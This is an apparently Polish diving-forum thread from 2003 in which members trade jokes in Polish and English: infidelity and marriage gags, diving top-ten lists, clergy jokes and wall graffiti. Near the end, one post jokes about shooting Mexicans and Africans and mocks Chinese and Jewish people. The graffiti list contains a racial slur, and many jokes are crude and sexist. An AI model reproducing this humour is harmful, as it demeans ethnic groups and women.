Biznesman wyslal fax do swojej zony : Moja najukochansza zono, mam nadzieje, ze zrozumiesz, iz teraz, kiedy masz 54 lata, nie jestes w stanie zaspokoic moich wszystkich potrzeb seksualnych . Jestem bardzo szczesliwy zyjac u Twojego boku, jestes najwspanialsza zona pod sloncem! Dlatego mam szczera nadzieje, ze zrozumiesz, dlaczego wlasnie w tej chwili kiedy czytasz te wiadomosc, jestem w hotelu Confort razem z Venessa, moja 18letnia sekretarka. Nic sie nie martw, bede w domu przed polnoca!?
Kiedy biznesman wrocil do domu znalazl na stole w kuchni kartke od swojej zony: Moj drogi mezu, dziekuje Ci za ten szczery fax. Chcialabym Ci przypomniec, ze Ty rowniez masz 54 lata. Kiedy przeczytasz te wiadomosc, chce zebys wiedzial, ze jestem w hotelu Fiesta razem z Michelem - moim 18 letnim instruktorem tenisa. Jako biznesman, ktory zna sie na matematyce niewatpliwie dostrzezesz podobienstwo sytuacji, jest tylko mala roznica: 18 wejdzie wiecej razy w 54, niz 54 w 18... dlatego nie czekaj na mnie, wroce nad ranem.. . Twoja bardzo dobrze Cie rozumiejaca zona

********


- Jaka jest najlepsza definicja wymiany opinii?
- Idziesz do szefa ze swoją opinią, a wychodzisz z jego opinią!

voytar - 21-08-2003, 19:21

Rusek, Niemiec i Wloch znalezli sie nad jeziorkiem, ktore sie zamienialo w to co sie krzyknie przed wskoczeniem. No i Rusek bierze rozped, krzyczy "spirytus!", i chlup do spirytu. Wloch biegnie, wybral "wino!" i wpadl do winka. Niemiec chce wskoczyc, ale sie potknal i zaklal "scheize!".
kill - 22-08-2003, 15:16

Początek XX wieku. Uboga wiejska rodzina miała jedyną żywicielkę - krowę.
Kiedy nastał kolejny ranek, mąż wstał jak zwykle przed świtem i poszedł do
obory ją wydoić. Niestety krowa leżała całkiem martwa. Człowiek się załamał,
przed oczami stanęła mu wizja śmierci głodowej, więc wyjął ze spodni pasek i
powiesił się pod powałą. Po dłuższej chwili obudziła się żona, zaniepokojona
brakiem małżonka. Od razu pomyŁlała, że mąż powinien być w oborze. Kiedy się
tam udała i okazało się, że mąż popełnił samobójstwo, a na klepisku leży
martwa krowa - jedyna żywicielka rodziny, niewiele myśląc powiesiła się koło
męża, w końcu zgodnie z przysięgą małżeńską chciała dzielić jego los. Po
chwili obudził się starszy syn. Kiedy zobaczył, że łoże rodziców jest puste,
a na stole nie stoi kanka z mlekiem, jak zazwyczaj bywało, postanowił
poszukać rodzicieli w oborze. Jakiż był jego szok, gdy odnalazł martwą krowę
i rodziców równie martwych, a okoliczności wskazywały na samobójstwo.
Pomyślał, że musi to sobie poukładać, postanowić coś, a najlepiej zawsze
udawało mu się myśleć nad rzeką. Wziął więc wędkę i poszedł nad wodę.
Zarzucił haczyk i w tej chwili z wody wyłoniła się postać pięknej syreny...
- Jeśli przelecisz mnie pięćdziesiąt razy, wskrzeszę twoich rodziców, krowę
i żyć będziecie w dostatku do końca waszych dni - rzekła syrena.
Niestety syn dał radę syrenie tylko 25 razy i kiedy zasłabł pochłonęły go
czeluście piekielne. W tejże chwili obudził się młodszy syn ubogich
rolników. Kiedy zobaczył, że izba stoi pusta, postanowił, że poszuka
współmieszkańców. Kiedy zobaczył martwą krowę i martwych rodziców w oborze,
bardzo zafrasowany zauważył brak również wędek. Przecież miał jeszcze brata.
- Pewno poszedł nad rzekę - pomyślał i poszedł go poszukać. Zastał
porzuconą wędkę i pomyślał, że brat poszedł za potrzeba i zaraz wróci,
jednak w tym momencie z wody wyłoniła się piękna syrena i zapytała:
- Ile masz lat chłopcze?
- 16...
- Hm, jeśli przelecisz mnie 25 razy, wskrzeszę twoich rodziców, brata,
krowę i żyć będziecie w dostatku do końca waszych dni - rzekła syrena.
- A mogę 30?!
- No, możesz...
- A 40?
- Możesz chłopcze, oczywiście, jak tylko dasz radę.
- A 50 razy mogę?
- Tak, tak, tak! - krzyknęła uradowana syrenka.
- A nie zdechniesz jak krowa?

Fantomas - 27-08-2003, 13:43

Idzie sobie kobieta z dwojka dzieci ulica nagle
podchodzi do niej jakis facet i pyta
- Czy to sa pani dzieci?
Tak - odpowiada kobieta
- Aha blizniaki pewnie...
Nie dziewczynka ma 12 latek a chlopiec 7.
Dlaczego mysli pan ze to sa blizniaki
- Po prostu nie moge uwierzyc, ze ktos przelecial pania dwa razy

Miłosz - 11-09-2003, 00:01

http://www.paris-tours-gu...ex_polish.shtml

z cyklu zagadki logiczne: co autor miał na myśli?

rzućcie okiem, bo pewnie wkrótce poprawią...

Pozdrawiam,
Nishigoi

Pedro - 29-09-2003, 11:55

Top 10 Reasons Why Divers Should Not Take Viagra:

10. It increases your drag.

9. Your wetsuit is already tight enough.

8. Because a guy could really get hurt if he had to drop his weight belt.

7. 1 pill to get you up, 20 pounds of lead to get you down.

6. Two words: fire coral.

5. You could accidentally penetrate a wreck.

4. You would constantly be searching for blowfish.

3. It increases your risk of entanglement.

2. Risk of "inappropriate" contact with the reef.

1. Divers aren't supposed to rise quickly.

Mania - 30-09-2003, 11:59

Panowie...
Strzeżcie się...

http://info.onet.pl/806223,69,item.html

Mania

Kuba - 01-10-2003, 08:54

Maniu, alez to wcale nie bylo smieszne....nic a nic....
*****

a teraz cos (moze) wesolego....



10 rzeczy ktore swiadcza o tym, ze za duzo nurkujesz:

1) Liczbe wykonanych nurkowan musisz podawac w zapisie potegowym.
2) Spogladasz w logbook i stwierdzasz, ze wiecej czasu spedzasz na
dekompresji niz w pracy.
3) Twoja skora nie schnie i ma fakture suszonej sliwki.
4) Twoj logbook jest dostepny na amazon.com.
5) Nazwales wszystkie omolki na ulubionym wraku po imieniu.
6) Obawiasz sie ze winda w biurze wznosi sie zbyt szybko.
7) Przestales logowac nurkowania, bo latwiej Ci logowac przerwy
powierzchniowe.
8) Twoj "no fly" jest podany w miesiacach.
9) Twoje zdjecie jest zamieszczone na tabliczkach do identyfikacji ryb.
10) Przed schodzeniem po schodach wykonujesz manewr Valsalwy

10 najwazniejszych powodow dla ktorych warto nurkowac w sezonie huraganowym:

1) Zeby napelnic butle wystarczy ustawic ja zaworem pod wiart i otworzyc
zawor
2) Gdy zaczyna podtapiac Ci hotel zawsze masz sprzet pod reka.
3) Mozesz dac nura na podworku, nie trzeba czarterowac lodzi!
4) W logbooku podajesz takie same parametry dla warunkow nad i pod
powierzchnia wody.
5) Wiekszy prad gwarantuje, ze zobaczysz wiecej (porwane samochody, domy itp...).
6) Wszystkie ladne rybki plywaja w kolko.
7) Oszczedzasz powietrze wrocajac do domu w dryfie.
8) Twoje nurkowanie na rafie latwo zamienia sie w nurkowanie na wrakach
9) Dwa slowa: ZADNYCH TURYSTOW !!!
10) Ile by Cie kosztowaly wakacje, podczas ktorych siedzialbys w sali
gimnastycznej z 2 tys. ludzi?

10 najwazniejszych rzeczy, ktorych nie chcialbys uslyszec siedzac w komorze dekompresyjnej:

1) Nie bedzie Panu przeszkadzalo jak sobie zapale?
2) Czy aby zapłaciliśmy w tym miesiącu za prad?
3) (rozmowa lekarzy przez interkom): Co masz na mysli przez "zaraz
wybuchnie" ?
4) DAN jaki?
5) Twoje ubezpieczenie nie obajmuje wypadkow nurkowych. Bedzie gotowka, czy karta?
6) Co mu wyplywa z ucha?
7) Masz strasznie wylupiaste oczy.
8) Czy normalnie tez masz taka mala glowe?
9) Dyzurny technik komory wybiera muzyke: To jest tydzien "ICH TROJE"
10) Potajemnie dodalismy temu nurkowi do mieszanki rekompresyjna srodek na przeczyszczenie. Zobaczymy czy zauwazy roznice.

MArcin M. - 19-10-2003, 16:09

Starsza, niedowidząca pani przyszła do adwokata. Udzieliwszy porady,
prawnik zażyczył sobie 100 zlotych. Wdowa wreczyla mu banknot, nie zauważając,
ze przylepił się do niego drugi, identyczny. Ale zauważył to mecenas.
I stanal wówczas przed problemem etycznym:
"Podzielić się ze wspólnikiem, czy nic mu nie mówic?".

Kelner pyta nowo przybyłego do baru klienta:
- Co pan pije?
- Codziennie rano szklankę soku owocowego, miksturkę na łupanie w
krzyżu, a w sobotę kufel piwa w gronie przyjaciół.
- Chyba nie zrozumieliśmy się do końca - mówi uprzejmie kelner. -
Pytałem co by pan chciał?
- Mój Boże... Chciałbym być bogaty, mieć domek nad morzem, podróżować po świecie.. ..
- Może jeszcze raz zadam pytanie: Czy chce się pan napić?
- Czemu nie... a co pan ma?
- Ja? Niewiele. Kłopoty. Drużyna której kibicuję przegrała, kiepsko mi tu płacą, doskwiera mi samotność.. .

MArcin M. - 19-10-2003, 16:10

Niedaleko malej parafii, zbudowanej przy drodze, stoją rabin i ksiadz.
Piszą na tablicy wielkimi literami: ''KONIEC JEST BLISKI, ZAWROC NIM BĘDZIE ZA PÓŹNO!''
W chwili, gdy piszą ostatnią literę, zatrzymuje się samochód. Wychodzi kierowca i krzyczy:
- Zostawcie nas w spokoju. Wy religijni fanatycy!!!!
Wsiada z powrotem do samochodu. Odjeżdża.
Po chwili slychać wielki huk i trzask....
Duchowni patrzą na siebie i ksiadz mówi:
- Eeee... moze po prostu napisać "Most jest zniszczony!" Co?...


Rozmawia dwóch kolegów
- lubię chodzić do pracy
- ja też mówi drugi
- wracać też lubię tylko to pośrodku jakoś mi nie pasuje...


Spotyka się dwóch kumpli w barze. Jeden do drugiego mówi:
- Wiesz, chyba moja żona nie żyje.
- Dlaczego tak sądzisz?
- W sumie to seks jak zwykle - nic, ale prania ciągle przybywa...

MArcin M. - 19-10-2003, 16:13

Trochę napisów znalezionych na naszych murach:

- Chciałem dobrze. Adolf Hitler
- Po co mi muzg mam dres
- Oddam banana za strój Batmana.
- Śruba i okręt to śrubokręt.
- Pij mleko! Nie wysyłaj krów na bezrobocie.
- Cnota hamulcem rozwoju.
- Gdy kierownik coś ci pieprzy - beknij, będzie klimat lepszy.
- Kocham życie, bo mocno daje w dupę.
- Skup żywności używanej.
- Lej powoli, sraj dokładnie - może lekcja ci przepadnie.
- Owsiki, trzymajcie się kupy.
- Moja dupa to nie beczka - nie zakisisz ogóreczka.
- Praca uszlachetnia, lenistwo uszczęśliwia.
- Rodzice są jak nietoperze - niedowidzą, niedosłyszą, a wszystkiego się
czepiają.
- Je**ć Widzew! Je**ć Widzew! (dopisek) Niech żyje Widzew! (dopisek do
dopiska) Niech żyje. Będzie co je**ć.
- Jak każdy o sobie pomyśli, to będzie o wszystkich pomyślane
- Są rzeczy ważniejsze od pieniędzy, tylko trzeba mieć pieniądze, żeby je
kupić
- Maluj skina na murzyna.
- Rozładuj się! (na stacji transformatorowej)
- Zeus też był elektrykiem.
- Wyprałem się w OMO i ani śladu po jajkach!
- Żeby życie miało smaczek - raz dziewczyna, raz chłopaczek.
- Używaj prezerwatywy! Codziennie rodzi się nauczyciel.
- Polak nie kaktus - pić musi.
- Umyjcie węgiel.
- Przepraszam, że żyję - to się już nie powtórzy.
- Dając na tacę - płacisz księdzu AC.
- Żeby nie wiem co, to ja i tak nic nie wiem.
- Komar jest ssakiem, ponieważ ssie krew.
- Im więcej się uczę, tym więcej wiem, im więcej wiem, tym więcej zapomnę.

Kuba - 22-10-2003, 13:21

tak cos ostatnio cicho na forum...taka jesienna apatia..
moze uda mi sie troszke rozweselic szanowne towarzystwo

**********
Czasopismo "Claudia" opublikowało dla swoich czytelników quiz, pod
nazwą: "Czy znamy kobiety?"
Zwyciężył Tomek B., Radom, 10 lat.
Pewien starszy, rozżalony czytelnik napisał do redakcji:
"To doprawdy śmieszne! Mam 65 lat, pierwsze wiadomości o kobietach
zdobywałem mając 12 lat! A tu taki smarkacz dostaje pierwszą nagrodę!"

Odpowiedź z redakcji:
Drogi Czytelniku!
Pierwsze pytanie naszego quizu brzmiało:
"Gdzie kobiety mają najbardziej kręcone włosy?"
Tomek odpowiedział prawidłowo - w Centralnej Afryce.
A co Pan odpowiedział?! I jeszcze narysował?!!!
Drugie pytanie naszego quizu brzmiało:
"Kiedy kobieta ma pianę między nogami?"
Tomek odpowiedział bezbłędnie:
- Kiedy kobieta doi krowę.
A Pańskie wyjaśnienie? Nie mieszaj Pan w to żony! I ten wulgarny
rysunek, fuj!
I ostatnie, trzecie pytanie quizu:
"Na co kobiety niecierpliwie czekają każdego miesiąca?
Tomek odpowiedział od razu:
- Na nowe wydanie "Claudii".
A co Pan odpowiedział?! Dzięki Bogu, że nie było rysunku!!!!!!

*************
Włoch wszedł do swojej ulubionej eleganckiej restauracji i ledwo co
usiadł przy stoliku, gdy zauważył piękną kobietę siedzącą przy stoliku
obok, całkiem samą.
Zawołał kelnera i zamówił najdroższą butelke Merlota i kazał dać tej
kobiecie- myśląc oczywiście, że ona zgodzi się być jego.
Kelner bierze butelke i podaje ją kobiecie mówiąc, że to od tego
dzentelmena obok.
Kobieta popatrzyła na wino i postanowiła przesłać notke dżentelmenowi:
"Żebym przyjeła tą butelke musisz mieć Mercedesa w garażu, milion dolców w banku i siedem cali w majtkach."
Facet po przeczytaniu notki postanowił odpisać:
"Posiadam Ferrari Testarossa, BMW 850iL, Mercedesa 560SEL w garażu,
ponad dwadzieścia milionów dolarów w banku. Ale nawet dla tak pięknej
kobiety jak ty nie obetne sobie trzech cali. Oddaj wino."
************

Spotyka się dwóch kumpli:
- Wiesz, jak piję, to mi potem leci krew z nosa.
- Rozumiem, ja też mam nerwową żonę.

* * *
- Kochanie, chcę sobie uprać bluzę, jaki program ustawić w pralce?
- A co napisali na bluzie?
- Uniwersytet Ohio.

* * *
Letniczka kupuje u rolnika mleko
- A staczy wam litr? - pyta z troską rolnik
- Dziękuje starczy
- Bo jakby nie starczyło, to mogę jeszcze dolać wody

* * *
Stoi pijak na deszczu przed barem i myśli:
- Stać na deszczu i moknąć, czy wejść do środka i się zalać??

* * *
Pijak do pijaka:
- Chodź ze mną pogratulować Stefanowi. Dziecko się mu urodziło.
- Tak? A co ma?
- Wyborową.

* * *
Facet wraca o 6 nad ranem do domu, po całonocnej libacji alkoholowej. Drzwi
otwiera zaspana żona i pyta:
- Zakładam, że masz bardzo dobry powód, dla którego pojawiasz się o tej
godzinie?!
Na co on odpowiada:
- Śniadanie, kochanie!

* * *
Starszy pan stwierdził ze jego żona słabo słyszy i
postanowił pójść skonsultować się z lekarzem, co może na to poradzić.
Lekarz stwierdził: - Aby móc coś poradzić muszę wiedzieć jak bardzo jest to zaawansowane. Niech pan to zbada w następujący sposób, najpierw zada pytanie z odległości 10 metrów, jak nie usłyszy to z 8 itd. i wtedy mi pan powie przy jakiej odległości pana usłyszała. Tak więc wieczorem żona robi w kuchni kolacje, a facet w pokoju czyta gazetę i stwierdza: - W sumie tutaj jestem akurat 10 metrów od niej, zobaczymy czy mnie usłyszy. - Kochanie! - woła - Co jest dziś na kolacje? Bez odpowiedzi. Zmniejszył dystans do 8 metrów, wciąż żadnej odpowiedzi. Zmniejsza do 6, 4, 2, aż w końcu podchodzi staje tuz obok niej i pyta: - Kochanie, co dziś na kolacje? - Kurczak, k**wa, kurczak, głuchy fiu**e!

powiedzmy, ze to na tyle...
milego popoludnia

Kuba

Kuba - 24-10-2003, 13:17

W noc poślubną panna młoda mówi do swojego świeżo poślubionego:
- Ponieważ jesteśmy teraz małżeństwem, musimy wprowadzić pewne zasady dotyczące seksu - Jeśli wieczorem mam uczesane włosy oznacza to, że nie mam wcale ochoty na seks, jeśli są w lekkim nieładzie, to znaczy, że mogę, ale nie muszę mieć ochoty na seks, a jeśli są w nieładzie, to znaczy, że mam ochotę się kochać.
- W porządku kochanie - odrzekł mąż - żeby wszystko było uporządkowane musisz wiedzieć, że wieczorem po powrocie z pracy zawsze piję drinka. Jeśli wypiję tylko jednego, to znaczy, że nie mam ochoty na seks, jeśli wypiję dwa to znaczy, że mogę, ale nie muszę mieć ochoty na seks, a jeśli wypiję trzy, to stan twoich włosów nie ma znaczenia.

****

Przychodzi pracownik do dyrektora:
Jestem zmuszony prosić pana o podwyżkę, ponieważ interesują się mną trzy firmy.
- A moge wiedzieć jakie to? - pyta dyrektor.
- Elektrownia, gazownia i wodociągi miejskie.


Kuba

Mania - 29-10-2003, 11:55
Temat postu: aresztowali Pedra....hihihi
http://piotr.szuchta.ares....php?m=Warszawa
Clio - 11-11-2003, 10:51

1.
Byl u mnie ksiadz po i mówil, ze trzeba teraz balowac, bo niedlugo nadejdzie
jakis "wielki post" - mam pytanie: od kogo nadejdzie ten post i ile mega
bedzie zajmowal? I skad ksiadz wie takie rzeczy? Oni tez sa na grupie?
Pytam, bo siedze na modemie i ciezko mi sie sciaga
wielkie posty.

:lol: :razz: :-D ;-)

2.
Gostek w celach naukowych robi ankiete w róznych czesciach
swiata. Wszystkim badanym zadaje jedno, standardowe pytanie:
"Prosze wybaczyc, chcialem zapytac, jaka jest panska opinia na
temat niedoboru miesa"?
Odpowiedz w USA: "niedobór"? Co to jest 'niedobór'
Odpowiedz w Polsce: "mieso"? co to jest 'mieso'
Odpowiedz w CCCP: "opinia"? co to jest 'opinia'
Odpowiedz w Izraelu: "wybaczyc"? Co znaczy 'wybaczyc'

:razz: :-D :) :lol: :mrgreen:

pozdrawiam

Clio

MArcin M. - 11-11-2003, 18:53

Razu pewnego samochodem jechał ksiądz, zaś chodnikiem szła zakonnica którą zobaczył. Podjechał i zapytał, czy ją podwieźć, a ona się zgodziła.
Gdy wsiadła do samochodu, jej habit część nogi odsłonił, a była to noga
piękna i ponętna nadzwyczaj. Wzrok księdza na nodze się zatrzymał i niewiele brakowało, aby wypadek spowodował. Po odzyskaniu kontroli nad pojazdem ręka księdza opadła na nogę siostry, a ona zapytała:
- Bracie, czy pamiętasz psalm 129?
A on rękę zabrał i przepraszać począł. Jednakowoż, gdy biegi zmieniał,
ponownie ręka jego na nodze jej spoczęła. A ona ponownie zapytała:
- Bracie, pamiętasz psalm 129?
A on zawstydził się i ponownie przeprosił. Zatrzymali się u bram klasztoru,
a ona podążyła do środka. On zaś Pismo otworzył i przeczytał psalm 129:
"Idź dalej przed siebie i szukaj w górze, czeka Cię nagroda"
MORAŁ: W pracy bądź zawsze dobrze poinformowany, w przeciwnym razie
możesz przegapić świetną okazję.

Przeman - 11-11-2003, 19:27

Pan Nowak udał się do szpitala po wyniki badań żony. Pracownik
szpital mówi:
- Bardzo nam przykro, ale mieliśmy tu trochę zamieszania i
niestety wyniki Pańskiej żony wróciły z laboratorium razem z
wynikami jakiejś innej pani Nowak i teraz nie wiemy, które są
które. Szczerze mówiąc, ani te, ani te nie s± nadzwyczajne...
- Co to znaczy?
- Jedna z pań ma Alzheimera a druga uzyskała pozytywny wynik
testu na AIDS.
- Ale chyba badania można powtórzyć!
- Teoretycznie można, ale te badania są bardzo drogie, a
Narodowy Fundusz Zdrowia nie zapłaci za dwa testy dla tego samego
pacjenta.
- To co ja mam robić?
- Narodowy Fundusz Zdrowia zaleca w takiej sytuacji, by
zawiózł Pan żonę do śródmieścia i tam zostawił. Jeżeli trafi sama do
domu, po prostu proszę zrezygnować ze współżycia.

MArcin M. - 16-11-2003, 08:35

Nowy ksiądz był spięty jak prowadził swoja pierwsza msze w parafii wiec
prosił kościelnego żeby mógł do świętej wody dołożyć kilka kropelek wódki żeby się rozluźnić.
I tak się stało. Na drugiej mszy kościelny jeszcze bardziej sie postaral,
bo wiedzial, ze ma byc wizytacja - zrobił tak samo. Ksiadz czul się tak
samo dobrze a nawet lepiej jak na pierwszej mszy, ale jak wrócił do pokoju znalazł list:
"Drogi bracie:
-Następnym razem dołóż kropelki wódki do wody, a nie kropelki wody do
wódki;
-Krzyż trzeba nazwać po imieniu a nie to "duże T"
-Nie wolno na Judasza mówić "ten sk****syn"
-Na krzyżu jest Jezus a nie Che Guevara
-Jest 10 przykazań a nie 12; -jest 12 apostołów a nie 10;
-Ci co zgrzeszyli idą do piekła, a nie w pizdu;
-Inicjatywa aby ludzie klaskali była imponująca, ale tańczyć makarene i
robić "pociąg" to już przesada;
-Opłatki są dla wiernych a nie na deser do wina;
-Pamiętaj ze msza trwa godzinę, a nie dwie połówki po 45 minut;
-Maria Magdalena była jawnogrzesznicą a nie k**wą,
-Jezusa ukrzyżowali Żydzi a nie Indianie
-Po zakończeniu kazania schodzi się z ambony po schodach, a nie zjeżdża po poręczy.
-Na koniec mówi się "Bóg zapłać", a nie Ciao.
-A ten obok w "czerwonej sukience" to nie był transwestyta, to byłem ja, Biskup."

MArcin M. - 19-11-2003, 17:19

Pierwszego dnia szkoły, przed rozpoczęciem lekcji, nauczycielka
przedstawia nowego ucznia amerykańskiej klasie:
- To jest Sakiro Suzuki z Japonii.
Lekcja się zaczyna. Nauczycielka mówi:
- Dobrze, zobaczymy jak sobie radzicie z historii. Kto mi powie czyje to
słowa: "Dajcie mi wolność albo śmierć"?
W klasie cisza jak makiem zasiał, tylko Suzuki podnosi rękę i mówi:
- Patrick Henry, 1775 W Filadelfii.
- Bardzo dobrze Suzuki. A kto powiedział: "Państwo to ludzie, ludzie nie
powinni więc ginć"?
Znowu wstaje Suzuki:
- Abraham Lincoln, 1863 w Waszyngtonie.
Nauczycielka spogląda na uczniów z wyrzutem i mówi:
- Wstydźcie się. Suzuki jest japończykiem i zna amerykańsk? historię
lepiej od Was!
W klasie zapadła cisza i nagle słychać czyj teatralny szept
- Pocałuj mnie w d... cholerny japończyku
- Kto to powiedział? - krzyknęła nauczycielka na co Suzuki podniósł rękę
i bez czekania wyrecytował:
- Generał McArthur, 1942 w Guadalcanal, oraz Lee Iacocca, 1982 na walnym
zgromadzeniu w Chryslerze.
W klasie zrobiło się jeszcze ciszej i tylko dało się usłyszeć cichy
szept:
- Rzygać mi się chce...
- Kto to był? - wrzasnęła nauczycielka, na co Suzuki szybko
odpowiedział:
- George Bush senior do japońskiego premiera Tanaki w 1991 podczas
obiadu.
Jeden z naprawdę już wkurzonych uczniów wstał i powiedział kwaśno z
raperskim gestem:
- Suck me, beotch!
Na to nauczycielka zrezygnowanym tonem
- To już koniec. Kto tym razem?
- Bill Clinton do Moniki Levinsky w 1997 roku w Gabinecie Owalnym w
Białym Domu - odparł Suzuki bez drgnienia oka
Na to inny uczeń wstał i krzyknął
- Suzuki to kupa gówna!
Na co Suzuki:
- Valentino Rossi w Rio na Grand-Prix Brazylii w 2002 roku.
Klasa już całkowicie popada w histerie, nauczycielka mdleje gdy
otwierają się drzwi i wchodzi dyrektor
- Cholera, takiego burdelu to ja jeszcze nie widziałem
A Suzuki:
- Leszek Miller do wicepremiera Hausnera na posiedzeniu komisji
budżetowej w Warszawie w 2003 roku.

MArcin M. - 20-11-2003, 23:23

Pewien profesor przedstawia wykład o miłości połączony z prezentacją slajdów. Mówi, iż miłość bywa bardzo różna, można na przykład wyróżnić miłość kobiety do mężczyzny... Studenci krzyczą:
- Chcemy zobaczyć slajdy!
Jednak lektor mówi dalej - jest jeszcze miłość kobiety do kobiety i ...
Studenci znowu przerywają prosząc o pokaz slajdów. Profesor nie zwraca na to uwagi i wymienia kolejny typ miłości: mężczyzna kocha mężczyznę. Słuchacze znowu podnoszą głos:
- Chcemy zobaczyć slajdy! Slajdy, slajdy, slajdy!
- Poczekajcie chwileczkę... można wyróżnić jeszcze, zupełnie inny rodzaj miłości...Mianowicie miłość do ojczyzny .. O i tu możecie popatrzeć na slajdy! - rzekł dumnie profesor
:-D

MArcin M. - 20-11-2003, 23:28

Przychodzi facet do apteki i mowi:
- Poproszę arszenik.
- Arszenik? Nie mogę panu tego sprzedać. A w ogóle to po co panu arszenik? - pyta zdumiona aptekarka.
- Dla żony - mówi gość.
- Stanowczo odmawiam!
Facet wyjmuje z portfela zdjęcie nagiej żony z nagim mężem aptekarki, na co aptekarka odpowiada:
- Cóż, nie wiedziałam, że ma pan receptę.
:-D

MArcin M. - 20-11-2003, 23:30

Mężczyzna żali się koledze:
- Nie mogę zaciągnąć dziewczyny do łóżka. Co mam robić?
- Porozmawiaj z nią najpierw o pogodzie, potem o muzyce, a dopiero później powiedz o ci napradę chodzi.
Mężczyzna posłuchał rady doświadczonego kolegi, spotyka się z dziewczyną i mówi:
- Ładna dziś pogoda, w pokoju mam gitarę, pójdziesz ze mną do łóżka?

********************

Do seksuologa przychodzi para w podeszłym wieku.
- Czym mogę Państwu służyć? - pyta doktor.
Starszy pan mówi:
- Czy Pan doktor nie zechciałby popatrzeć jak odbędziemy stosunek?
Doktor spogląda na nich zaskoczony, ale wyraża zgodę. Kiedy para skończyła, doktor mówi:
- Nie widzę żadnej nieprawidłowości w Państwa stosunku.
Para zapłaciła za wizytę 50 zł i wyszła. Identyczna sytuacja powtarzała się przez kolejne parę tygodni. Wreszcie doktor nie wytrzymał i pyta:
- Co dokładnie chcecie znaleźć?
- Niczego nie chcemy znaleźć Panie doktorze - odpowiada starszy pan - Ona jest mężatką, więc nie możemy pójść do niej. Ja jestem żonaty, więc nie możemy pójść do mnie. W Holiday Inn każą płacić 90 zł, w Hiltonie 108. U Pana robimy to za 50, z czego kasa chorych zwraca mi 43.
:-D

MArcin M. - 21-11-2003, 17:38
Temat postu: Dla czego mężczyźni kłamią : )
Widzę, że ostatnio coś tylko mi humorek dopisuje. Nikt nie puszcza nowych kawałków :-D
zamieszczam w takim razie jeszcze jeden, z morałem:

Pewnego dnia, podczas pracy nad brzegiem rzeki drwalowi wypadła siekiera i wpadła do wody. Drwal usiadł i zaczął płakać. Nagle objawił mu się Bóg i zapytał:
- Dlaczego płaczesz?
Drwal odpowiedział, że siekiera mu wpadła do wody.
Bóg zstąpił na ziemię, wszedł do wody i po chwili wyłonił się ze złotą siekierą.
- To Twoja siekiera? - zapytał
- Nie - odpowiedział drwal.
Bóg ponownie się zanurzył i po chwili trzymał srebrną siekierę pytając drwala czy to jego.
- Ta również nie jest moja - odparł drwal.
Bóg po raz trzeci się zanurzył i wyjął z wody żelazną siekierę.
- A może ta?
- Tak, to moja siekiera - ucieszył się drwal.
Bóg był zadowolony, że taki uczciwy człowiek chodzi po ziemi i w nagrodę podarował mu wszystkie trzy siekiery. Drwal wrócił do domu szczęśliwy. Innego dnia drwal spacerował nad brzegiem tej samej rzeki wraz z żoną. Nagle żona potknęła się i wpadła do wody. Drwal usiadł na brzegu rzeki i zaczął płakać. Ponownie objawił mu się Bóg i zapytał:
- Dlaczego płaczesz?
Drwal odpowiedział, że żona mu wpadła do wody.
Bóg jeszcze raz zstąpił na ziemię, wszedł do wody i po chwili wyłonił się wraz z Jennifer Lopez.
- To Twoja żona? - zapytał
- Tak - odparł drwal, a Bóg się na poważnie zdenerwował:
- Ty kłamco! To nie jest prawda! To nie jest Twoja żona!
Drwal odparł:
- Boże wybacz mi, to nieporozumienie. Widzisz, jeśli powiedziałbym 'nie' Jennifer Lopez, wróciłbyś i wyszedł z Cameron Diaz, i jeśli znowu powiedziałbym 'nie', poszedłbyś trzeci raz i wrócił z moją żoną, której powiedziałbym 'tak', a wtedy otrzymałbym wszystkie trzy. Ale Panie, jestem tylko biednym drwalem, nie dałbym rady dbać o trzy żony, dlatego właśnie powiedziałem 'tak' za pierwszym razem". Jaki z tego morał?

Ano morał z tego taki, że jeśli już mężczyzna kłamie, to zawsze w pożytecznym i zaszczytnym celu!!! :lol: :lol: :lol:

Garnett - 27-11-2003, 08:40

Gun Shop Owner: Hi, How can I help you?
Client: I am looking for a gun.
Owner: What kind of gun are you looking for?
Client: (pointing at the biggest handgun in the case): That one looks about right.
Owner: (very surprised): Why do you need a .44 magnum?
Client: It is for shooting at cans.
Owner: (pointing at a small handgun) Well, this is the perfect size for shooting at cans.
Client: (pointing again at the .44) Nah, I need this one.
Owner: OK, what kind of cans are you shooting at?
Client: Mexi-cans... Puerto Ri-cans... Afri-cans...


An airplane takes off from the airport. The captain is Jewish and the First Officer is Chinese. It is the first time they have flown together and it is obvious by the silence that they do not get along.
After thirty minutes, the Jewish Captain mutters:
- I do not like Chinese.
The First Officer replies:
- Oooooh, no likee Chinese? Why dat?
- You bombed Pearl harbor. That is why I do not like Chinese.
- Nooooo, noooo... Chinese not bomb Peahl Hahbah. That Japanese, not Chinese.
- Chinese, Japanese, Vietnamese...it does not matter, they are all alike.
Another thirty minutes of silence. Finally the First Officer says:
- No likee Jew.
- Why not? Why do not you like Jews?
- Jews sink Titanic.
- No, no. The Jews did not sink the Titanic. It was an iceberg.
- Iceberg, Goldberg, Greenberg, Rosenberg, no mattah... all same.

Krzysiek J. - 12-12-2003, 21:38

Kwasniewski mówi do Millera:
- Leszku, poparcie mi o 2%spadlo a Tobie ?
- Mi 8

MArcin M. - 14-12-2003, 16:19

Nadchodzą święta, więc coś o temetyce świątecznej:

- Knock, knock!
- Who's there?
- Mary.
- Mary who?
- Marry Christmas!


Dwaj staruszkowie spędzają wspólne święta. Patrząc na gwiazdę betlejemską, jeden z nich wspomina:
- Moja żona kiedy zauważyła spadającą gwiazdę, powiedziała: "pomyśl o czymś, a twoje życzenie spełni się, kiedy gwiazda spadnie".
- Co było dalej? - pyta drugi.
- Życzenie się spełniło. Gwiazda spadła na nią!


Pod koniec stycznia Nowak pyta spotkanego na ulicy kolegę:
- Cóż to, Stefan, dopiero teraz choinkę niesiesz?
- A no tak, bo na święta nie miałem pieniędzy, a teraz dostałem ją za darmo!


Biznesmen przed świętami Bożego Narodzenia mówi do żony:
- Kochanie, co mam ci kupić na gwiazdkę?
- Może być jakiś drobiazg. Najlepiej jakieś małe BMW do jazdy po mieście!

MArcin M. - 14-12-2003, 16:20

- Jak samobójca spędza święta Bożego Narodzenia?
- Wiesza się na choince.


Po świętach Bożego Narodzenia. Rozprawa w sądzie:
- Dlaczego chcę się pan rozwieść z żoną?
- Bo daje mi do jedzenia: barszczyk z uszkami, śledzia, karpia, karpia, kluski z makiem...
- Proszę pana, przecież wszyscy na wigilię jedzą takie potrawy!
- Możliwe, ale ona przyrządza mi je codziennie od siedemnastu lat!


